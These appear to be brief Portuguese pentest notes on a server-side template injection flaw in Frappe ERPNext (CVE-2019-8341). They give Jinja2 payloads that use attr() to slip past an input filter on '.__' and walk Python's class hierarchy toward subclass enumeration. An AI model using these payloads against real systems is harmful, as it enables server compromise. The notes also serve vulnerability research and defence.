Frappé Technologies ERPNext Server Side Template Injection
‣
CVE-2019-8341 | SSTI Jinja2 2.10
Sucesso ao enviar uma operação lógica (POC)
Aplicação Retorna erro ao tentar verificar classes
/home/frappe/frappe-bench/apps/frappe/frappe/email/dopctype/email_template/email_template.py
Aplicação possui um filtro no input, validando se foi enviado com “.__”, assim não permitindo navegar entre as classes
# Bypass .__ w/ attr()
# Necessita criar variaveis para armazenar __nome__, e posteriormente chamar pelo attr
{% set class = "__class__"%}
{% set subclasses = "__subclasses__"%} # Lista de subclasses
{% set mro = "__mro__"%}
# () = classe criada (Tupla Vazia)
{{()|attr(class)}} # ().__class__
{{()|attr(class)|attr(mro)}} # ().__class__.__mro__
{{()|attr(class)|attr(mro)[1]|attr(subclasses)()}} # ().__class__.__mro__[1].__subclasses__()
Sucesso, a aplicação retornou o tipo do valor da classe criada, no caso, “str” → “ssti”
Classe armazenando uma string